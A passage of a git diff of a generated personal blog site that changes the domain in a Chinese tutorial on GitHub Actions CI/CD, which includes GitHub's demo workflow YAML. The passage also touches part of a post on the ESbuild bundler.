Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用GitHub Actions来实现CI/CD"><meta property="og:description" content="CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)
 GitHub Actions是GitHub提供的持续集成服务
 GitHub Actions官方文档：https://docs.github.com/en/actions
 workflow：工作流程，指一次持续集成的流程，由一个job或者多个job组成 Events：事件，触发流程的钩子（在github中事件为检测仓库特定活动的钩子，例如pull，当事件被触发则自动执行工作流程） Job：任务，任务是工作流程的主体 Steps：步骤，每个Job可以包含一个或多个Step Actions: 行为，每个Step包含一个或多个Action Runners: 执行环境，工作流程运行时的服务端，每一个执行环境可以运行一个任务
@@ -21,7 +21,7 @@
 jobs：每一项任务都需要定义个job_id，job中的name为该任务的描述，needs为指定当前任务的运行顺序（依赖关系），runs-on为指定运行时需要的虚拟机环境（这个字段必须填）
 目前github支持的虚拟机操作系统有ubuntu，windows，macOS，而且github提供的虚拟机是免费使用的
 这里举个例子（github官方的）
-name: GitHub Actions Demo
on: [push]
jobs:
Explore-GitHub-Actions:
runs-on: ubuntu-latest
steps:
- run: echo &#34; The job was automatically triggered by a ${{ github.event_name }} event.&#34;
- run: echo &#34; This job is now running on a ${{ runner.os }} server hosted by GitHub!"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/131/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-02-01T18:00:00+00:00"><meta property="article:modified_time" content="2022-02-01T18:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用GitHub Actions来实现CI/CD"><meta name=twitter:description content="CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)
+name: GitHub Actions Demo on: [push] jobs: Explore-GitHub-Actions: runs-on: ubuntu-latest steps: - run: echo &#34; The job was automatically triggered by a ${{ github.event_name }} event.&#34; - run: echo &#34; This job is now running on a ${{ runner.os }} server hosted by GitHub!"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/131/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-02-01T18:00:00+00:00"><meta property="article:modified_time" content="2022-02-01T18:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用GitHub Actions来实现CI/CD"><meta name=twitter:description content="CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)
 GitHub Actions是GitHub提供的持续集成服务
 GitHub Actions官方文档：https://docs.github.com/en/actions
 workflow：工作流程，指一次持续集成的流程，由一个job或者多个job组成 Events：事件，触发流程的钩子（在github中事件为检测仓库特定活动的钩子，例如pull，当事件被触发则自动执行工作流程） Job：任务，任务是工作流程的主体 Steps：步骤，每个Job可以包含一个或多个Step Actions: 行为，每个Step包含一个或多个Action Runners: 执行环境，工作流程运行时的服务端，每一个执行环境可以运行一个任务
@@ -32,31 +32,31 @@
 jobs：每一项任务都需要定义个job_id，job中的name为该任务的描述，needs为指定当前任务的运行顺序（依赖关系），runs-on为指定运行时需要的虚拟机环境（这个字段必须填）
 目前github支持的虚拟机操作系统有ubuntu，windows，macOS，而且github提供的虚拟机是免费使用的
 这里举个例子（github官方的）
-name: GitHub Actions Demo
on: [push]
jobs:
Explore-GitHub-Actions:
runs-on: ubuntu-latest
steps:
- run: echo &#34; The job was automatically triggered by a ${{ github.event_name }} event.&#34;
- run: echo &#34; This job is now running on a ${{ runner.os }} server hosted by GitHub!"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用GitHub Actions来实现CI/CD","item":"https://xiaochenabc123.github.io/posts/131/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用GitHub Actions来实现CI/CD","name":"简单使用GitHub Actions来实现CI\/CD","description":"CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)\nGitHub Actions是GitHub提供的持续集成服务\nGitHub Actions官方文档：https://docs.github.com/en/actions\nworkflow：工作流程，指一次持续集成的流程，由一个job或者多个job组成 Events：事件，触发流程的钩子（在github中事件为检测仓库特定活动的钩子，例如pull，当事件被触发则自动执行工作流程） Job：任务，任务是工作流程的主体 Steps：步骤，每个Job可以包含一个或多个Step Actions: 行为，每个Step包含一个或多个Action Runners: 执行环境，工作流程运行时的服务端，每一个执行环境可以运行一个任务\nworkflow工作流程通过编写workflow文件来描述，workflow文件要使用YAML语言编写，github支持多个workflow（当github发现.github/workflows/目录下有.yml文件时就会执行该文件）\n在仓库的.github/workflows/目录下创建test.yml，其中要配置字段\nname：workflow名称，如果省略默认为当前workflow的文件名\non：指定触发workflow的条件，一般为事件触发（比如说push）\njobs：每一项任务都需要定义个job_id，job中的name为该任务的描述，needs为指定当前任务的运行顺序（依赖关系），runs-on为指定运行时需要的虚拟机环境（这个字段必须填）\n目前github支持的虚拟机操作系统有ubuntu，windows，macOS，而且github提供的虚拟机是免费使用的\n这里举个例子（github官方的）\nname: GitHub Actions Demo\ron: [push]\rjobs:\rExplore-GitHub-Actions:\rruns-on: ubuntu-latest\rsteps:\r- run: echo \u0026quot; The job was automatically triggered by a ${{ github.event_name }} event.\u0026quot;\r- run: echo \u0026quot; This job is now running on a ${{ runner.os }} server hosted by GitHub!","keywords":["Git","Github"],"articleBody":"CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)\nGitHub Actions是GitHub提供的持续集成服务\nGitHub Actions官方文档：https://docs.github.com/en/actions\nworkflow：工作流程，指一次持续集成的流程，由一个job或者多个job组成 Events：事件，触发流程的钩子（在github中事件为检测仓库特定活动的钩子，例如pull，当事件被触发则自动执行工作流程） Job：任务，任务是工作流程的主体 Steps：步骤，每个Job可以包含一个或多个Step Actions: 行为，每个Step包含一个或多个Action Runners: 执行环境，工作流程运行时的服务端，每一个执行环境可以运行一个任务\nworkflow工作流程通过编写workflow文件来描述，workflow文件要使用YAML语言编写，github支持多个workflow（当github发现.github/workflows/目录下有.yml文件时就会执行该文件）\n在仓库的.github/workflows/目录下创建test.yml，其中要配置字段\nname：workflow名称，如果省略默认为当前workflow的文件名\non：指定触发workflow的条件，一般为事件触发（比如说push）\njobs：每一项任务都需要定义个job_id，job中的name为该任务的描述，needs为指定当前任务的运行顺序（依赖关系），runs-on为指定运行时需要的虚拟机环境（这个字段必须填）\n目前github支持的虚拟机操作系统有ubuntu，windows，macOS，而且github提供的虚拟机是免费使用的\n这里举个例子（github官方的）\nname: GitHub Actions Demo\ron: [push]\rjobs:\rExplore-GitHub-Actions:\rruns-on: ubuntu-latest\rsteps:\r- run: echo \" The job was automatically triggered by a ${{ github.event_name }} event.\"\r- run: echo \" This job is now running on a ${{ runner.os }} server hosted by GitHub!\"\r- run: echo \" The name of your branch is ${{ github.ref }} and your repository is ${{ github.repository }}.\"\r- name: Check out repository code\ruses: actions/checkout@v2\r- run: echo \" The ${{ github.repository }} repository has been cloned to the runner.\"\r- run: echo \" The workflow is now ready to test your code on the runner.\"\r- name: List files in the repository\rrun: |\rls ${{ github.workspace }}\r- run: echo \" This job's status is ${{ job.status }}.\" ","wordCount":"155","inLanguage":"en","datePublished":"2022-02-01T18:00:00Z","dateModified":"2022-02-01T18:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/131/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用GitHub Actions来实现CI/CD</h1><div class=post-meta><span title='2022-02-01 18:00:00 +0000 UTC'>2022-02-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8GitHub-Actions%e6%9d%a5%e5%ae%9e%e7%8e%b0CI-CD.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>CI：持续集成 (Continuous Integration)
+name: GitHub Actions Demo on: [push] jobs: Explore-GitHub-Actions: runs-on: ubuntu-latest steps: - run: echo &#34; The job was automatically triggered by a ${{ github.event_name }} event.&#34; - run: echo &#34; This job is now running on a ${{ runner.os }} server hosted by GitHub!"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用GitHub Actions来实现CI/CD","item":"https://chenjunlinabc.github.io/posts/131/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用GitHub Actions来实现CI/CD","name":"简单使用GitHub Actions来实现CI\/CD","description":"CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)\nGitHub Actions是GitHub提供的持续集成服务\nGitHub Actions官方文档：https://docs.github.com/en/actions\nworkflow：工作流程，指一次持续集成的流程，由一个job或者多个job组成 Events：事件，触发流程的钩子（在github中事件为检测仓库特定活动的钩子，例如pull，当事件被触发则自动执行工作流程） Job：任务，任务是工作流程的主体 Steps：步骤，每个Job可以包含一个或多个Step Actions: 行为，每个Step包含一个或多个Action Runners: 执行环境，工作流程运行时的服务端，每一个执行环境可以运行一个任务\nworkflow工作流程通过编写workflow文件来描述，workflow文件要使用YAML语言编写，github支持多个workflow（当github发现.github/workflows/目录下有.yml文件时就会执行该文件）\n在仓库的.github/workflows/目录下创建test.yml，其中要配置字段\nname：workflow名称，如果省略默认为当前workflow的文件名\non：指定触发workflow的条件，一般为事件触发（比如说push）\njobs：每一项任务都需要定义个job_id，job中的name为该任务的描述，needs为指定当前任务的运行顺序（依赖关系），runs-on为指定运行时需要的虚拟机环境（这个字段必须填）\n目前github支持的虚拟机操作系统有ubuntu，windows，macOS，而且github提供的虚拟机是免费使用的\n这里举个例子（github官方的）\nname: GitHub Actions Demo on: [push] jobs: Explore-GitHub-Actions: runs-on: ubuntu-latest steps: - run: echo \u0026quot; The job was automatically triggered by a ${{ github.event_name }} event.\u0026quot; - run: echo \u0026quot; This job is now running on a ${{ runner.os }} server hosted by GitHub!","keywords":["Git","Github"],"articleBody":"CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)\nGitHub Actions是GitHub提供的持续集成服务\nGitHub Actions官方文档：https://docs.github.com/en/actions\nworkflow：工作流程，指一次持续集成的流程，由一个job或者多个job组成 Events：事件，触发流程的钩子（在github中事件为检测仓库特定活动的钩子，例如pull，当事件被触发则自动执行工作流程） Job：任务，任务是工作流程的主体 Steps：步骤，每个Job可以包含一个或多个Step Actions: 行为，每个Step包含一个或多个Action Runners: 执行环境，工作流程运行时的服务端，每一个执行环境可以运行一个任务\nworkflow工作流程通过编写workflow文件来描述，workflow文件要使用YAML语言编写，github支持多个workflow（当github发现.github/workflows/目录下有.yml文件时就会执行该文件）\n在仓库的.github/workflows/目录下创建test.yml，其中要配置字段\nname：workflow名称，如果省略默认为当前workflow的文件名\non：指定触发workflow的条件，一般为事件触发（比如说push）\njobs：每一项任务都需要定义个job_id，job中的name为该任务的描述，needs为指定当前任务的运行顺序（依赖关系），runs-on为指定运行时需要的虚拟机环境（这个字段必须填）\n目前github支持的虚拟机操作系统有ubuntu，windows，macOS，而且github提供的虚拟机是免费使用的\n这里举个例子（github官方的）\nname: GitHub Actions Demo on: [push] jobs: Explore-GitHub-Actions: runs-on: ubuntu-latest steps: - run: echo \" The job was automatically triggered by a ${{ github.event_name }} event.\" - run: echo \" This job is now running on a ${{ runner.os }} server hosted by GitHub!\" - run: echo \" The name of your branch is ${{ github.ref }} and your repository is ${{ github.repository }}.\" - name: Check out repository code uses: actions/checkout@v2 - run: echo \" The ${{ github.repository }} repository has been cloned to the runner.\" - run: echo \" The workflow is now ready to test your code on the runner.\" - name: List files in the repository run: | ls ${{ github.workspace }} - run: echo \" This job's status is ${{ job.status }}.\" ","wordCount":"155","inLanguage":"en","datePublished":"2022-02-01T18:00:00Z","dateModified":"2022-02-01T18:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/131/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用GitHub Actions来实现CI/CD</h1><div class=post-meta><span title='2022-02-01 18:00:00 +0000 UTC'>2022-02-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8GitHub-Actions%e6%9d%a5%e5%ae%9e%e7%8e%b0CI-CD.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>CI：持续集成 (Continuous Integration)
 CD：持续交付 (Continuous Delivery)
 CD：持续部署 (Continuous Deployment)</p><p>GitHub Actions是GitHub提供的持续集成服务</p><p>GitHub Actions官方文档：https://docs.github.com/en/actions</p><p>workflow：工作流程，指一次持续集成的流程，由一个job或者多个job组成
 Events：事件，触发流程的钩子（在github中事件为检测仓库特定活动的钩子，例如pull，当事件被触发则自动执行工作流程）
 Job：任务，任务是工作流程的主体
 Steps：步骤，每个Job可以包含一个或多个Step
 Actions: 行为，每个Step包含一个或多个Action
-Runners: 执行环境，工作流程运行时的服务端，每一个执行环境可以运行一个任务</p><p>workflow工作流程通过编写workflow文件来描述，workflow文件要使用YAML语言编写，github支持多个workflow（当github发现.github/workflows/目录下有.yml文件时就会执行该文件）</p><p>在仓库的.github/workflows/目录下创建test.yml，其中要配置字段</p><p>name：workflow名称，如果省略默认为当前workflow的文件名</p><p>on：指定触发workflow的条件，一般为事件触发（比如说push）</p><p>jobs：每一项任务都需要定义个job_id，job中的name为该任务的描述，needs为指定当前任务的运行顺序（依赖关系），runs-on为指定运行时需要的虚拟机环境（这个字段必须填）</p><p>目前github支持的虚拟机操作系统有ubuntu，windows，macOS，而且github提供的虚拟机是免费使用的</p><p>这里举个例子（github官方的）</p><pre><code>name: GitHub Actions Demo
-on: [push]
-jobs:
-  Explore-GitHub-Actions:
-    runs-on: ubuntu-latest
-    steps:
-      - run: echo &quot; The job was automatically triggered by a ${{ github.event_name }} event.&quot;
-      - run: echo &quot; This job is now running on a ${{ runner.os }} server hosted by GitHub!&quot;
-      - run: echo &quot; The name of your branch is ${{ github.ref }} and your repository is ${{ github.repository }}.&quot;
-      - name: Check out repository code
-        uses: actions/checkout@v2
-      - run: echo &quot; The ${{ github.repository }} repository has been cloned to the runner.&quot;
-      - run: echo &quot; The workflow is now ready to test your code on the runner.&quot;
-      - name: List files in the repository
-        run: |
-          ls ${{ github.workspace }}
-      - run: echo &quot; This job's status is ${{ job.status }}.&quot;</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/git/>Git</a></li><li><a href=https://xiaochenabc123.github.io/tags/github/>Github</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/132/><span class=title>« Prev</span><br><span>简单使用ESbuild打包工具</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/130/><span class=title>Next »</span><br><span>简单使用TailwindCSS</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+Runners: 执行环境，工作流程运行时的服务端，每一个执行环境可以运行一个任务</p><p>workflow工作流程通过编写workflow文件来描述，workflow文件要使用YAML语言编写，github支持多个workflow（当github发现.github/workflows/目录下有.yml文件时就会执行该文件）</p><p>在仓库的.github/workflows/目录下创建test.yml，其中要配置字段</p><p>name：workflow名称，如果省略默认为当前workflow的文件名</p><p>on：指定触发workflow的条件，一般为事件触发（比如说push）</p><p>jobs：每一项任务都需要定义个job_id，job中的name为该任务的描述，needs为指定当前任务的运行顺序（依赖关系），runs-on为指定运行时需要的虚拟机环境（这个字段必须填）</p><p>目前github支持的虚拟机操作系统有ubuntu，windows，macOS，而且github提供的虚拟机是免费使用的</p><p>这里举个例子（github官方的）</p><pre><code>name: GitHub Actions Demo
+on: [push]
+jobs:
+  Explore-GitHub-Actions:
+    runs-on: ubuntu-latest
+    steps:
+      - run: echo &quot; The job was automatically triggered by a ${{ github.event_name }} event.&quot;
+      - run: echo &quot; This job is now running on a ${{ runner.os }} server hosted by GitHub!&quot;
+      - run: echo &quot; The name of your branch is ${{ github.ref }} and your repository is ${{ github.repository }}.&quot;
+      - name: Check out repository code
+        uses: actions/checkout@v2
+      - run: echo &quot; The ${{ github.repository }} repository has been cloned to the runner.&quot;
+      - run: echo &quot; The workflow is now ready to test your code on the runner.&quot;
+      - name: List files in the repository
+        run: |
+          ls ${{ github.workspace }}
+      - run: echo &quot; This job's status is ${{ job.status }}.&quot;</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/git/>Git</a></li><li><a href=https://chenjunlinabc.github.io/tags/github/>Github</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/132/><span class=title>« Prev</span><br><span>简单使用ESbuild打包工具</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/130/><span class=title>Next »</span><br><span>简单使用TailwindCSS</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/132/index.html b/posts/132/index.html
index 5dfbb289..e50b3a6c 100644
--- a/posts/132/index.html
+++ b/posts/132/index.html
@@ -15,10 +15,10 @@
 或者
 yarn build
 例子（app.jsx）
-import React from 'react'
import ReactDOM from 'react-dom'
const App = () => {
return (
<div>
<h1>Hallo, Esbuild!</h1>
</div>
)
}
ReactDOM.render(
<App />,
document.getElementById(&#34;app&#34;)
)
index.html
-<div id=&#34;app&#34;></div>
<script src=&#34;./build/index.js&#34;></script>
我本地打包只花64ms就打包好了
-使用source map功能"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/132/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用ESbuild打包工具"><meta property="og:description" content="ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css
+import React from 'react' import ReactDOM from 'react-dom' const App = () => { return ( <div> <h1>Hallo, Esbuild!</h1> </div> ) } ReactDOM.render( <App />, document.getElementById(&#34;app&#34;) ) index.html
+<div id=&#34;app&#34;></div> <script src=&#34;./build/index.js&#34;></script> 我本地打包只花64ms就打包好了
+使用source map功能"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/132/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
